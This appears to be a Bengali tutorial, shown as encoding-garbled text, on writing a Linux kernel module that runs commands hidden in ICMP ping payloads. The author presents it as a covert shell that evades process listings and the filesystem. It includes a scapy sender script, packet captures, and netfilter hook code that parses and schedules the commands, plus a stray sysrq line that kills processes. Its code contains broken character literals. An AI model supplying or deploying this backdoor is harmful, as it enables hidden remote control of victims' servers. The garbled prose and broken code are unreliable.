TL; āĻĄāĻŋāĻāĻ°: āĻāĻŽāĻŋ āĻāĻāĻāĻŋ āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ āĻŽāĻĄāĻŋāĻāĻ˛ āĻ˛āĻŋāĻāĻāĻŋ āĻ¯ā§āĻāĻŋ ICMP āĻĒā§āĻ˛ā§āĻĄ āĻĨā§āĻā§ āĻāĻŽāĻžāĻ¨ā§āĻĄ āĻĒāĻĄāĻŧāĻŦā§ āĻāĻŦāĻ āĻāĻĒāĻ¨āĻžāĻ° SSH āĻā§āĻ°ā§āĻ¯āĻžāĻļ āĻšāĻ˛ā§āĻ āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°ā§ āĻ¸ā§āĻā§āĻ˛āĻŋ āĻāĻžāĻ˛āĻžāĻŦā§āĨ¤ āĻ¸āĻŦāĻā§āĻ¯āĻŧā§ āĻ
āĻ§ā§āĻ°ā§āĻ¯ āĻāĻ¨ā§āĻ¯, āĻ¸āĻŦ āĻā§āĻĄ āĻšāĻ¯āĻŧ
āĻ¸āĻžāĻŦāĻ§āĻžāĻ¨! āĻ āĻāĻŋāĻā§āĻ āĻ¸āĻŋ āĻĒā§āĻ°ā§āĻā§āĻ°āĻžāĻŽāĻžāĻ°āĻĻā§āĻ° āĻ°āĻā§āĻ¤ā§āĻ° āĻ āĻļā§āĻ°ā§āĻ¤ā§ āĻĢā§āĻā§ āĻĒāĻĄāĻŧāĻžāĻ° āĻā§āĻāĻāĻŋ! āĻāĻŽāĻŋ āĻāĻŽāĻ¨āĻāĻŋ āĻĒāĻ°āĻŋāĻāĻžāĻˇāĻžāĻ¯āĻŧ āĻā§āĻ˛ āĻšāĻ¤ā§ āĻĒāĻžāĻ°ā§, āĻāĻŋāĻ¨ā§āĻ¤ā§ āĻā§āĻ¨ā§ āĻ¸āĻŽāĻžāĻ˛ā§āĻāĻ¨āĻž āĻ¸ā§āĻŦāĻžāĻāĻ¤ āĻāĻžāĻ¨āĻžāĻ. āĻĒā§āĻ¸ā§āĻāĻāĻŋ āĻ¤āĻžāĻĻā§āĻ° āĻāĻ¨ā§āĻ¯ āĻ¯āĻžāĻĻā§āĻ° āĻ¸āĻŋ āĻĒā§āĻ°ā§āĻā§āĻ°āĻžāĻŽāĻŋāĻ āĻ¸āĻŽā§āĻĒāĻ°ā§āĻā§ āĻā§āĻŦ āĻŽā§āĻāĻžāĻŽā§āĻāĻŋ āĻ§āĻžāĻ°āĻŖāĻž āĻ°āĻ¯āĻŧā§āĻā§ āĻāĻŦāĻ āĻ˛āĻŋāĻ¨āĻžāĻā§āĻ¸ā§āĻ° āĻāĻŋāĻ¤āĻ°ā§āĻ° āĻĻāĻŋāĻā§ āĻ¨āĻāĻ° āĻĻāĻŋāĻ¤ā§ āĻāĻžāĻ¨āĨ¤
āĻāĻŽāĻžāĻ° āĻĒā§āĻ°āĻĨāĻŽ āĻŽāĻ¨ā§āĻ¤āĻŦā§āĻ¯
āĻšā§āĻ¯āĻžāĻ, 2020 āĻ¸āĻžāĻ˛ā§ āĻāĻŽāĻŋ āĻļāĻŋāĻā§āĻāĻŋ āĻ¯ā§ āĻāĻĒāĻ¨āĻŋ ICMP āĻĒā§āĻ¯āĻžāĻā§āĻāĻā§āĻ˛āĻŋāĻ¤ā§ āĻāĻāĻāĻŋ āĻ¨āĻŋāĻ°ā§āĻŦāĻŋāĻāĻžāĻ°ā§ āĻĒā§āĻ˛ā§āĻĄ āĻ¸āĻ¨ā§āĻ¨āĻŋāĻŦā§āĻļ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨āĨ¤ āĻāĻŋāĻ¨ā§āĻ¤ā§ āĻĻā§āĻ°āĻŋ āĻ¨āĻž āĻšāĻāĻ¯āĻŧāĻž āĻāĻžāĻ˛ā§! āĻāĻŦāĻ āĻ¯ā§āĻšā§āĻ¤ā§ āĻāĻāĻŋ āĻ¸āĻŽā§āĻĒāĻ°ā§āĻā§ āĻāĻŋāĻā§ āĻāĻ°āĻž āĻ¯ā§āĻ¤ā§ āĻĒāĻžāĻ°ā§, āĻ¤āĻžāĻ āĻāĻāĻŋ āĻāĻ°āĻž āĻĻāĻ°āĻāĻžāĻ°āĨ¤ āĻ¯ā§āĻšā§āĻ¤ā§ āĻāĻŽāĻžāĻ° āĻĻā§āĻ¨āĻ¨ā§āĻĻāĻŋāĻ¨ āĻā§āĻŦāĻ¨ā§ āĻāĻŽāĻŋ āĻĒā§āĻ°āĻžāĻ¯āĻŧāĻļāĻ āĻāĻŽāĻžāĻ¨ā§āĻĄ āĻ˛āĻžāĻāĻ¨ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻŋ, SSH āĻāĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§ āĻ¸āĻš, āĻāĻāĻāĻŋ ICMP āĻļā§āĻ˛ āĻāĻ° āĻ§āĻžāĻ°āĻŖāĻžāĻāĻŋ āĻĒā§āĻ°āĻĨāĻŽā§ āĻāĻŽāĻžāĻ° āĻŽāĻžāĻĨāĻžāĻ¯āĻŧ āĻāĻ¸ā§āĻāĻŋāĻ˛āĨ¤ āĻāĻŦāĻ āĻāĻāĻāĻŋ āĻ¸āĻŽā§āĻĒā§āĻ°ā§āĻŖ āĻŦā§āĻ˛āĻļāĻŋāĻ˛ā§āĻĄ āĻŦāĻŋāĻā§āĻā§ āĻāĻāĻ¤ā§āĻ°āĻŋāĻ¤ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯, āĻāĻŽāĻŋ āĻāĻāĻŋāĻā§ āĻāĻŽāĻ¨ āĻāĻāĻāĻŋ āĻāĻžāĻˇāĻžāĻ¯āĻŧ āĻ˛āĻŋāĻ¨āĻžāĻā§āĻ¸ āĻŽāĻĄāĻŋāĻāĻ˛ āĻšāĻŋāĻ¸āĻžāĻŦā§ āĻ˛ā§āĻāĻžāĻ° āĻ¸āĻŋāĻĻā§āĻ§āĻžāĻ¨ā§āĻ¤ āĻ¨āĻŋāĻ¯āĻŧā§āĻāĻŋ āĻ¯āĻžāĻ° āĻ¸āĻŽā§āĻĒāĻ°ā§āĻā§ āĻāĻŽāĻžāĻ° āĻā§āĻŦāĻ˛ āĻŽā§āĻāĻžāĻŽā§āĻāĻŋ āĻ§āĻžāĻ°āĻŖāĻž āĻāĻā§āĨ¤ āĻāĻ āĻ§āĻ°āĻ¨ā§āĻ° āĻļā§āĻ˛ āĻĒā§āĻ°āĻā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻā§āĻ˛āĻŋāĻ° āĻ¤āĻžāĻ˛āĻŋāĻāĻžāĻ¯āĻŧ āĻĻā§āĻļā§āĻ¯āĻŽāĻžāĻ¨ āĻšāĻŦā§ āĻ¨āĻž, āĻāĻĒāĻ¨āĻŋ āĻāĻāĻŋ āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ā§ āĻ˛ā§āĻĄ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨ āĻāĻŦāĻ āĻāĻāĻŋ āĻĢāĻžāĻāĻ˛ āĻ¸āĻŋāĻ¸ā§āĻā§āĻŽā§ āĻĨāĻžāĻāĻŦā§ āĻ¨āĻž, āĻāĻĒāĻ¨āĻŋ āĻļā§āĻ¨āĻžāĻ° āĻĒā§āĻ°ā§āĻāĻā§āĻ˛āĻŋāĻ° āĻ¤āĻžāĻ˛āĻŋāĻāĻžāĻ¯āĻŧ āĻ¸āĻ¨ā§āĻĻā§āĻšāĻāĻ¨āĻ āĻāĻŋāĻā§ āĻĻā§āĻāĻ¤ā§ āĻĒāĻžāĻŦā§āĻ¨ āĻ¨āĻžāĨ¤ āĻāĻ° āĻā§āĻˇāĻŽāĻ¤āĻžāĻ° āĻĒāĻ°āĻŋāĻĒā§āĻ°ā§āĻā§āĻˇāĻŋāĻ¤ā§, āĻāĻāĻŋ āĻāĻāĻāĻŋ āĻĒā§āĻ°ā§āĻŖāĻžāĻā§āĻ āĻ°ā§āĻāĻāĻŋāĻ, āĻ¤āĻŦā§ āĻāĻŽāĻŋ āĻāĻļāĻž āĻāĻ°āĻŋ āĻāĻāĻŋāĻā§ āĻāĻ¨ā§āĻ¨āĻ¤ āĻāĻ°āĻŦ āĻāĻŦāĻ āĻļā§āĻˇ āĻ
āĻŦāĻ˛āĻŽā§āĻŦāĻ¨ā§āĻ° āĻļā§āĻ˛ āĻšāĻŋāĻ¸āĻžāĻŦā§ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻŦ āĻ¯āĻāĻ¨ SSH-āĻāĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§ āĻ˛āĻ āĻāĻ¨ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻ˛ā§āĻĄ āĻāĻĄāĻŧ āĻā§āĻŦ āĻŦā§āĻļāĻŋ āĻšāĻ¯āĻŧ āĻāĻŦāĻ āĻāĻŽāĻĒāĻā§āĻˇā§ āĻāĻžāĻ°ā§āĻ¯āĻāĻ° āĻāĻ°āĻž āĻ¯āĻžāĻ¯āĻŧāĨ¤ echo i > /proc/sysrq-trigger
āĻ°āĻŋāĻŦā§āĻ āĻ¨āĻž āĻāĻ°ā§ āĻ
ā§āĻ¯āĻžāĻā§āĻ¸ā§āĻ¸ āĻĒā§āĻ¨āĻ°ā§āĻĻā§āĻ§āĻžāĻ° āĻāĻ°āĻ¤ā§āĨ¤
āĻāĻŽāĻ°āĻž āĻĒāĻžāĻāĻĨāĻ¨ āĻāĻŦāĻ āĻ¸āĻŋ, āĻā§āĻāĻ˛ āĻāĻŦāĻ āĻā§āĻā§āĻ¸āĻ āĻāĻĄāĻŋāĻāĻ°, āĻŽā§āĻ˛āĻŋāĻ āĻĒā§āĻ°ā§āĻā§āĻ°āĻžāĻŽāĻŋāĻ āĻĻāĻā§āĻˇāĻ¤āĻž āĻ¨āĻŋāĻ
āĻŽāĻā§āĻā§āĻ˛ā§āĻ° āĻĒāĻā§āĻˇā§
āĻāĻŽāĻžāĻ° āĻāĻžāĻā§ āĻŽāĻ¨ā§ āĻšāĻ¯āĻŧā§āĻāĻŋāĻ˛ āĻ¯ā§ āĻā§āĻ˛āĻžāĻ¯āĻŧā§āĻ¨ā§āĻ āĻ
āĻāĻļā§āĻ° āĻāĻ¨ā§āĻ¯ āĻāĻŽāĻžāĻā§ āĻĒā§āĻ°āĻžāĻ¯āĻŧ 80 āĻ˛āĻžāĻāĻ¨ā§āĻ° āĻ¸āĻžāĻĨā§ āĻāĻāĻāĻŋ āĻ¸ā§āĻā§āĻ°āĻŋāĻĒā§āĻ āĻ˛āĻŋāĻāĻ¤ā§ āĻšāĻŦā§, āĻāĻŋāĻ¨ā§āĻ¤ā§ āĻāĻŽāĻ¨ āĻ¸āĻĻāĻ¯āĻŧ āĻ˛ā§āĻ āĻāĻŋāĻ˛ āĻ¯āĻžāĻ°āĻž āĻāĻŽāĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻāĻāĻŋ āĻāĻ°ā§āĻāĻŋāĻ˛
import sys
from scapy.all import sr1, IP, ICMP
if len(sys.argv) < 3:
print('Usage: {} IP "command"'.format(sys.argv[0]))
exit(0)
p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
p.show()
āĻ¸ā§āĻā§āĻ°āĻŋāĻĒā§āĻ āĻĻā§āĻāĻŋ āĻāĻ°ā§āĻā§āĻŽā§āĻ¨ā§āĻ āĻ˛āĻžāĻā§, āĻāĻāĻāĻŋ āĻ āĻŋāĻāĻžāĻ¨āĻž āĻāĻŦāĻ āĻāĻāĻāĻŋ āĻĒā§āĻ˛ā§āĻĄ. āĻĒāĻžāĻ āĻžāĻ¨ā§āĻ° āĻāĻā§, āĻĒā§āĻ˛ā§āĻĄā§āĻ° āĻāĻā§ āĻāĻāĻāĻŋ āĻā§ āĻĨāĻžāĻā§ run:
, āĻ°ā§āĻ¯āĻžāĻ¨ā§āĻĄāĻŽ āĻĒā§āĻ˛ā§āĻĄ āĻ¸āĻš āĻĒā§āĻ¯āĻžāĻā§āĻāĻā§āĻ˛āĻŋ āĻŦāĻžāĻĻ āĻĻā§āĻāĻ¯āĻŧāĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻāĻŽāĻžāĻĻā§āĻ° āĻāĻāĻŋāĻ° āĻĒā§āĻ°āĻ¯āĻŧā§āĻāĻ¨ āĻšāĻŦā§āĨ¤
āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ā§āĻ° āĻĒā§āĻ¯āĻžāĻā§āĻ āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻŦāĻŋāĻļā§āĻˇ āĻ¸ā§āĻŦāĻŋāĻ§āĻžāĻ° āĻĒā§āĻ°āĻ¯āĻŧā§āĻāĻ¨, āĻ¤āĻžāĻ āĻ¸ā§āĻā§āĻ°āĻŋāĻĒā§āĻāĻāĻŋāĻā§ āĻ¸ā§āĻĒāĻžāĻ° āĻāĻāĻāĻžāĻ° āĻšāĻŋāĻ¸āĻžāĻŦā§ āĻāĻžāĻ˛āĻžāĻ¤ā§ āĻšāĻŦā§āĨ¤ āĻŽā§āĻ¤ā§āĻ¯ā§āĻĻāĻ¨ā§āĻĄā§āĻ° āĻ
āĻ¨ā§āĻŽāĻ¤āĻŋ āĻĻāĻŋāĻ¤ā§ āĻā§āĻ˛āĻŦā§āĻ¨ āĻ¨āĻž āĻāĻŦāĻ āĻ¨āĻŋāĻā§āĻ āĻ¸ā§āĻā§āĻ¯āĻžāĻĒāĻŋ āĻāĻ¨āĻ¸ā§āĻāĻ˛ āĻāĻ°ā§āĻ¨āĨ¤ āĻĄā§āĻŦāĻŋāĻ¯āĻŧāĻžāĻ¨ āĻ¨āĻžāĻŽā§ āĻāĻāĻāĻŋ āĻĒā§āĻ¯āĻžāĻā§āĻ āĻāĻā§ python3-scapy
. āĻāĻāĻ¨ āĻāĻĒāĻ¨āĻŋ āĻāĻāĻŋ āĻāĻŋāĻāĻžāĻŦā§ āĻāĻžāĻ āĻāĻ°ā§ āĻ¤āĻž āĻĒāĻ°ā§āĻā§āĻˇāĻž āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨āĨ¤
āĻāĻŽāĻžāĻ¨ā§āĻĄ āĻāĻžāĻ˛āĻžāĻ¨ā§ āĻāĻŦāĻ āĻāĻāĻāĻĒā§āĻ āĻāĻ°āĻž
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!
āĻ¸ā§āĻ¨āĻŋāĻĢāĻžāĻ°ā§ āĻāĻāĻŋ āĻĻā§āĻāĻ¤ā§ āĻā§āĻŽāĻ¨ āĻ˛āĻžāĻā§
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct]
[Checksum Status: Good]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]
Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct]
[Checksum Status: Good]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1]
[Response time: 19.094 ms]
Data (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]
^C2 packets captured
āĻĒā§āĻ°āĻ¤āĻŋāĻā§āĻ°āĻŋāĻ¯āĻŧāĻž āĻĒā§āĻ¯āĻžāĻā§āĻā§āĻ° āĻĒā§āĻ˛ā§āĻĄ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ āĻšāĻ¯āĻŧ āĻ¨āĻžāĨ¤
āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ āĻŽāĻĄāĻŋāĻāĻ˛
āĻāĻāĻāĻŋ āĻĄā§āĻŦāĻŋāĻ¯āĻŧāĻžāĻ¨ āĻāĻžāĻ°ā§āĻā§āĻ¯āĻŧāĻžāĻ˛ āĻŽā§āĻļāĻŋāĻ¨ āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻ¤ā§ āĻāĻĒāĻ¨āĻžāĻ° āĻ
āĻ¨ā§āĻ¤āĻ¤ āĻĒā§āĻ°āĻ¯āĻŧā§āĻāĻ¨ āĻšāĻŦā§ make
и linux-headers-amd64
, āĻŦāĻžāĻāĻŋāĻāĻž āĻ¨āĻŋāĻ°ā§āĻāĻ°āĻļā§āĻ˛āĻ¤āĻžāĻ° āĻāĻāĻžāĻ°ā§ āĻāĻ¸āĻŦā§āĨ¤ āĻāĻŽāĻŋ āĻ¨āĻŋāĻŦāĻ¨ā§āĻ§ā§ āĻ¸āĻŽā§āĻĒā§āĻ°ā§āĻŖ āĻā§āĻĄ āĻĒā§āĻ°āĻĻāĻžāĻ¨ āĻāĻ°āĻŦ āĻ¨āĻž; āĻāĻĒāĻ¨āĻŋ āĻāĻāĻŋ Github āĻ āĻā§āĻ˛ā§āĻ¨ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨āĨ¤
āĻšā§āĻ āĻ¸ā§āĻāĻāĻĒ
āĻļā§āĻ°ā§ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯, āĻŽāĻĄāĻŋāĻāĻ˛ āĻ˛ā§āĻĄ āĻāĻ°āĻ¤ā§ āĻāĻŦāĻ āĻāĻ¨āĻ˛ā§āĻĄ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻāĻŽāĻžāĻĻā§āĻ° āĻĻā§āĻāĻŋ āĻĢāĻžāĻāĻļāĻ¨ āĻĒā§āĻ°āĻ¯āĻŧā§āĻāĻ¨āĨ¤ āĻāĻ¨āĻ˛ā§āĻĄ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻĢāĻžāĻāĻļāĻ¨ āĻĒā§āĻ°āĻ¯āĻŧā§āĻāĻ¨ āĻšāĻ¯āĻŧ āĻ¨āĻž, āĻāĻŋāĻ¨ā§āĻ¤ā§ āĻ¤āĻžāĻ°āĻĒāĻ° rmmod
āĻāĻāĻŋ āĻāĻžāĻ āĻāĻ°āĻŦā§ āĻ¨āĻž; āĻŽāĻĄāĻŋāĻāĻ˛āĻāĻŋ āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° āĻŦāĻ¨ā§āĻ§ āĻšāĻ˛ā§āĻ āĻāĻ¨āĻ˛ā§āĻĄ āĻšāĻŦā§āĨ¤
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
static struct nf_hook_ops nfho;
static int __init startup(void)
{
nfho.hook = icmp_cmd_executor;
nfho.hooknum = NF_INET_PRE_ROUTING;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &nfho);
return 0;
}
static void __exit cleanup(void)
{
nf_unregister_net_hook(&init_net, &nfho);
}
MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);
āĻāĻāĻžāĻ¨ā§ āĻāĻŋ āĻšāĻā§āĻā§:
- āĻĻā§āĻāĻŋ āĻšā§āĻĄāĻžāĻ° āĻĢāĻžāĻāĻ˛ āĻŽāĻĄāĻŋāĻāĻ˛ āĻ¨āĻŋāĻā§āĻ āĻāĻŦāĻ āĻ¨ā§āĻāĻĢāĻŋāĻ˛ā§āĻāĻžāĻ° āĻŽā§āĻ¯āĻžāĻ¨āĻŋāĻĒā§āĻ˛ā§āĻ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻāĻžāĻ¨āĻž āĻšāĻ¯āĻŧāĨ¤
- āĻ¸āĻŽāĻ¸ā§āĻ¤ āĻā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻāĻ˛āĻžāĻĒ āĻāĻāĻāĻŋ āĻ¨ā§āĻāĻĢāĻŋāĻ˛ā§āĻāĻžāĻ°ā§āĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§ āĻ¯āĻžāĻ¯āĻŧ, āĻāĻĒāĻ¨āĻŋ āĻāĻ¤ā§ āĻšā§āĻ āĻ¸ā§āĻ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨āĨ¤ āĻāĻāĻŋ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯, āĻāĻĒāĻ¨āĻžāĻā§ āĻ¯ā§ āĻāĻžāĻ āĻžāĻŽā§āĻāĻŋ āĻšā§āĻ āĻāĻ¨āĻĢāĻŋāĻāĻžāĻ° āĻāĻ°āĻž āĻšāĻŦā§ āĻ¤āĻž āĻā§āĻˇāĻŖāĻž āĻāĻ°āĻ¤ā§ āĻšāĻŦā§āĨ¤ āĻ¸āĻŦāĻā§āĻ¯āĻŧā§ āĻā§āĻ°ā§āĻ¤ā§āĻŦāĻĒā§āĻ°ā§āĻŖ āĻŦāĻŋāĻˇāĻ¯āĻŧ āĻšāĻ˛ āĻĢāĻžāĻāĻļāĻ¨āĻāĻŋ āĻ¨āĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āĻ āĻāĻ°āĻž āĻ¯āĻž āĻšā§āĻ āĻšāĻŋāĻ¸āĻžāĻŦā§ āĻāĻžāĻ°ā§āĻ¯āĻāĻ° āĻāĻ°āĻž āĻšāĻŦā§:
nfho.hook = icmp_cmd_executor;
āĻāĻŽāĻŋ āĻĒāĻ°ā§ āĻ¨āĻŋāĻā§āĻ āĻĢāĻžāĻāĻļāĻ¨ā§ āĻ¯āĻžāĻŦāĨ¤
āĻ¤āĻžāĻ°āĻĒāĻ° āĻāĻŽāĻŋ āĻĒā§āĻ¯āĻžāĻā§āĻā§āĻ° āĻāĻ¨ā§āĻ¯ āĻĒā§āĻ°āĻā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻāĻ°āĻŖā§āĻ° āĻ¸āĻŽāĻ¯āĻŧ āĻ¸ā§āĻ āĻāĻ°ā§āĻāĻŋ:NF_INET_PRE_ROUTING
āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ā§ āĻĒā§āĻ°āĻĨāĻŽ āĻĒā§āĻ°āĻĻāĻ°ā§āĻļāĻŋāĻ¤ āĻšāĻ˛ā§ āĻĒā§āĻ¯āĻžāĻā§āĻ āĻĒā§āĻ°āĻā§āĻ°āĻŋāĻ¯āĻŧāĻž āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻ¨āĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āĻ āĻāĻ°ā§āĨ¤ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻž āĻ¯ā§āĻ¤ā§ āĻĒāĻžāĻ°ā§NF_INET_POST_ROUTING
āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ āĻĨā§āĻā§ āĻĒā§āĻ°āĻ¸ā§āĻĨāĻžāĻ¨ āĻāĻ°āĻžāĻ° āĻ¸āĻžāĻĨā§ āĻ¸āĻžāĻĨā§ āĻĒā§āĻ¯āĻžāĻā§āĻāĻāĻŋāĻā§ āĻĒā§āĻ°āĻā§āĻ°āĻŋāĻ¯āĻŧāĻž āĻāĻ°āĻ¤ā§āĨ¤
āĻāĻŽāĻŋ āĻĢāĻŋāĻ˛ā§āĻāĻžāĻ°āĻāĻŋāĻā§ IPv4 āĻ āĻ¸ā§āĻ āĻāĻ°ā§āĻāĻŋ:nfho.pf = PF_INET;
.
āĻāĻŽāĻŋ āĻāĻŽāĻžāĻ° āĻšā§āĻāĻā§ āĻ¸āĻ°ā§āĻŦā§āĻā§āĻ āĻ āĻā§āĻ°āĻžāĻ§āĻŋāĻāĻžāĻ° āĻĻāĻŋāĻ:nfho.priority = NF_IP_PRI_FIRST;
āĻāĻŦāĻ āĻāĻŽāĻŋ āĻĒā§āĻ°āĻā§āĻ¤ āĻšā§āĻ āĻšāĻŋāĻ¸āĻžāĻŦā§ āĻĄā§āĻāĻž āĻāĻžāĻ āĻžāĻŽā§ āĻ¨āĻŋāĻŦāĻ¨ā§āĻ§āĻ¨ āĻāĻ°āĻŋ:nf_register_net_hook(&init_net, &nfho);
- āĻā§āĻĄāĻŧāĻžāĻ¨ā§āĻ¤ āĻĢāĻžāĻāĻļāĻ¨ āĻšā§āĻ āĻ āĻĒāĻ¸āĻžāĻ°āĻŖ.
- āĻ˛āĻžāĻāĻ¸ā§āĻ¨ā§āĻ¸āĻāĻŋ āĻ¸ā§āĻĒāĻˇā§āĻāĻāĻžāĻŦā§ āĻ¨āĻŋāĻ°ā§āĻĻā§āĻļāĻŋāĻ¤ āĻšāĻ¯āĻŧā§āĻā§ āĻ¯āĻžāĻ¤ā§ āĻāĻŽā§āĻĒāĻžāĻāĻ˛āĻžāĻ° āĻ āĻāĻŋāĻ¯ā§āĻ āĻ¨āĻž āĻāĻ°ā§āĨ¤
- āĻā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻāĻ˛āĻžāĻĒ
module_init()
иmodule_exit()
āĻŽāĻĄāĻŋāĻāĻ˛āĻāĻŋ āĻļā§āĻ°ā§ āĻāĻŦāĻ āĻļā§āĻˇ āĻāĻ°āĻ¤ā§ āĻ āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻĢāĻžāĻāĻļāĻ¨ āĻ¸ā§āĻ āĻāĻ°ā§āĻ¨āĨ¤
āĻĒā§āĻ˛ā§āĻĄ āĻĒā§āĻ¨āĻ°ā§āĻĻā§āĻ§āĻžāĻ° āĻāĻ°āĻž āĻšāĻā§āĻā§
āĻāĻāĻ¨ āĻāĻŽāĻžāĻĻā§āĻ° āĻĒā§āĻ˛ā§āĻĄ āĻŦā§āĻ° āĻāĻ°āĻ¤ā§ āĻšāĻŦā§, āĻāĻāĻŋ āĻ¸āĻŦāĻā§āĻ¯āĻŧā§ āĻāĻ āĻŋāĻ¨ āĻāĻžāĻ āĻšāĻ¯āĻŧā§ āĻāĻ ā§āĻā§āĨ¤ āĻĒā§āĻ˛ā§āĻĄā§āĻ° āĻ¸āĻžāĻĨā§ āĻāĻžāĻ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ā§āĻ° āĻ āĻ¨ā§āĻ¤āĻ°ā§āĻ¨āĻŋāĻ°ā§āĻŽāĻŋāĻ¤ āĻĢāĻžāĻāĻļāĻ¨ āĻ¨ā§āĻ; āĻāĻĒāĻ¨āĻŋ āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° āĻāĻā§āĻ-āĻ¸ā§āĻ¤āĻ°ā§āĻ° āĻĒā§āĻ°ā§āĻā§āĻāĻ˛ā§āĻ° āĻšā§āĻĄāĻžāĻ° āĻĒāĻžāĻ°ā§āĻ¸ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨āĨ¤
#include <linux/ip.h>
#include <linux/icmp.h>
#define MAX_CMD_LEN 1976
char cmd_string[MAX_CMD_LEN];
struct work_struct my_work;
DECLARE_WORK(my_work, work_handler);
static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct iphdr *iph;
struct icmphdr *icmph;
unsigned char *user_data;
unsigned char *tail;
unsigned char *i;
int j = 0;
iph = ip_hdr(skb);
icmph = icmp_hdr(skb);
if (iph->protocol != IPPROTO_ICMP) {
return NF_ACCEPT;
}
if (icmph->type != ICMP_ECHO) {
return NF_ACCEPT;
}
user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
tail = skb_tail_pointer(skb);
j = 0;
for (i = user_data; i != tail; ++i) {
char c = *(char *)i;
cmd_string[j] = c;
j++;
if (c == '')
break;
if (j == MAX_CMD_LEN) {
cmd_string[j] = '';
break;
}
}
if (strncmp(cmd_string, "run:", 4) != 0) {
return NF_ACCEPT;
} else {
for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
cmd_string[j] = cmd_string[j+4];
if (cmd_string[j] == '')
break;
}
}
schedule_work(&my_work);
return NF_ACCEPT;
}
āĻāĻŋ āĻāĻāĻā§:
